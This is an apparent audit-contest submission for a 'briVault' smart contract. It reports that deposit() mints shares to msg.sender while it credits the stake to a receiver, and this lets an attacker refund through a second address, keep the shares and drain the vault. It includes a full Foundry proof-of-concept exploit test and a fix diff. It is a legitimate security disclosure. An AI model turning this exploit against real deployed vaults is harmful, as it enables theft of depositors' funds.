Submission Details
Severity:
Incorrect shares accounting in `briVault::deposit` and receiver vs msg.sender logic is misused, Lead to attacker can obtain shares without funding the vault for all shares he owns and later withdraw far more than entitled leading to fund loss
Incorrect shares accounting in briVault::deposit and receiver vs msg.sender logic is misused, Lead to attacker can obtain shares without funding the vault for all shares he owns and later withdraw far more than entitled leading to major fund loss / near-full vault drain.
Description
-
When a user makes a deposit in
briVault::depositfrom their address, but thereceiveris a different address which is controlled by the attacker The money is linked to thereceiverbystakedAsset[receiver] = stakeAsset;, but the shares are linked to themsg.senderby_mint(msg.sender, participantShares);and When thereceivercallbriVault::joinEventand then callbriVault::cancelParticipationHe receives the money, but themsg.sendercontinues to hold the shares illegally Because shares are calculated onshares = balanceOf(msg.sender);, which increases his share of the funds, enabling him to completely empty the vault.The attacker can guarantee a win in all cases by betting on all
48 teamswith a minimum stake, as there is no mechanism to prevent the same address from being repeated for all teams.
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
// charge on a percentage basis points
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
@> _mint(msg.sender, participantShares);
emit deposited (receiver, stakeAsset);
return participantShares;
}
Risk
Likelihood:
It can always be obtained
Impact:
The money was lost directly in the vault.
Proof of Concept
<details>
<summary>POC</summary>
The following test performs these steps to prove the vulnerability.
I only used four users, and I had the first three bet on the same winning team and the fourth bet on a losing team in order to simplify the loophole and make it understandable.
1. The attacker, who is User 1, makes a deposit of 1 Ether and then selects Team 10.
2. User 2, makes a deposit of 5 Ether and then selects Team 10.
3. User 3, makes a deposit of 10 Ether and then selects Team 10.
4. The attacker, who is User 1, makes a deposit of 15 Ether making the `receiver` user 4.
5. User 4 selects team number 20, then cancels their bet and refunds the money to their account.
6. The owner chooses winner team number 10 after time has passed.
7. User 1 shoud withdraw 0.985 Ether but in reality, he is withdrawing 15.76 Ether.
8. Now the attacker was able to withdraw `15.75 Ether ` using user 1 and `14.775 Ether` using user 4 controlled by the attacker.
Put this test in `briVault.t.sol`.
```javascript
function test_attacker_multi_join_and_profit() public {
// Setup: owner sets the 48 teams
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
// --- Step 1: initial deposits and joins (all using the mock token "MTK")
// Attacker = user1 deposits 1 MTK and joins team 10
vm.startPrank(user1);
mockToken.approve(address(briVault), 100 ether);
uint256 attackerFirstShares = briVault.deposit(1 ether, user1); // attacker deposits for himself
briVault.joinEvent(10); // attacker chooses team 10
vm.stopPrank();
// user2 deposits 5 MTK and joins team 10
vm.startPrank(user2);
mockToken.approve(address(briVault), 100 ether);
uint256 user2shares = briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
// user3 deposits 10 MTK and joins team 10
vm.startPrank(user3);
mockToken.approve(address(briVault), 100 ether);
uint256 user3shares = briVault.deposit(10 ether, user3);
briVault.joinEvent(10);
vm.stopPrank();
// --- Step 2: Attacker does SECOND deposit (15 MTK) but sets receiver = user4 The one controlled by the attacker (User 1)
vm.startPrank(user1);
// ensure attacker has approved (already done above) and has balance (minted in setUp)
uint256 attackerSecondShares = briVault.deposit(15 ether, user4); // minted to attacker, stakedAsset[user4] set
vm.stopPrank();
// Now user4 can join team 20 (because stakedAsset[user4] != 0)
vm.startPrank(user4);
briVault.joinEvent(20);
// user4 performs cancelParticipation -> this refunds stakedAsset[user4] to user4
briVault.cancelParticipation();
vm.stopPrank();
// --- Add a small initial balance to vault (if you want to make sure "there were initial funds")
// Note: In this test setUp, only the deposits above funded the vault. If you need extra initial funds,
// you can mint to owner and transfer to vault before setWinner. (Not strictly necessary for exploit reproduction.)
// --- Step 3: time passes, owner sets winner = team 10
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
// Read recorded final vault asset and recorded totalWinnerShares
uint256 finalized = briVault.finalizedVaultAsset(); // recorded at setWinner
uint256 totalWinnerSharesRecorded = briVault.totalWinnerShares(); // computed at setWinner
// Attacker's shares assigned to team 10 (the shares that attacker had at the time he joined team 10)
uint256 recordedAttackerCountryShares = briVault.userSharesToCountry(user1, 10);
// The actual shares attacker currently holds (may include extra minted shares that were NOT assigned to team 10)
uint256 attackerTotalSharesBalance = briVault.balanceOf(user1);
// Compute rightful amount attacker SHOULD receive (based only on his shares assigned to the winning country):
// rightful = (recordedAttackerCountryShares * finalized) / totalWinnerSharesRecorded
uint256 rightful = 0;
if (totalWinnerSharesRecorded > 0) {
rightful = (recordedAttackerCountryShares * finalized) / totalWinnerSharesRecorded;
}
// Save attacker's token balance before withdraw
uint256 attackerBalanceBefore = mockToken.balanceOf(user1);
// Attacker withdraws (should be allowed because his userToCountry[user1] == winner and winnerSet true)
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
// Attacker balance after withdraw
uint256 attackerBalanceAfter = mockToken.balanceOf(user1);
uint256 actualWithdrawn = attackerBalanceAfter - attackerBalanceBefore;
// Print diagnostic output
console.log("finalizedVaultAsset:", finalized);
console.log("totalWinnerSharesRecorded:", totalWinnerSharesRecorded);
console.log("recordedAttackerCountryShares:", recordedAttackerCountryShares);
console.log("attackerTotalSharesBalance (all shares attacker holds):", attackerTotalSharesBalance);
console.log("rightful (expected) withdrawal (wei):", rightful);
console.log("actual withdrawn by attacker (wei):", actualWithdrawn);
// Assertions: actualWithdrawn should be strictly > rightful (exploit succeeded)
assertTrue(actualWithdrawn > rightful, "Attacker did NOT extract more than rightful share");
}
```
</details>
Recommended Mitigation
1. You can modify the deposit function to work like this.
```diff
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
// charge on a percentage basis points
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares);
emit deposited (receiver, stakeAsset);
return participantShares;
}
```
2. A mechanism should be put in place to prevent duplicate address or Participate more than once in team selection.
Updates
Appeal created
bube 21 days ago
Submission Judgement Published Assigned finding tags:
Shares Minted to msg.sender Instead of Specified Receiver
Rewards breakdown
nSLOC
193This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.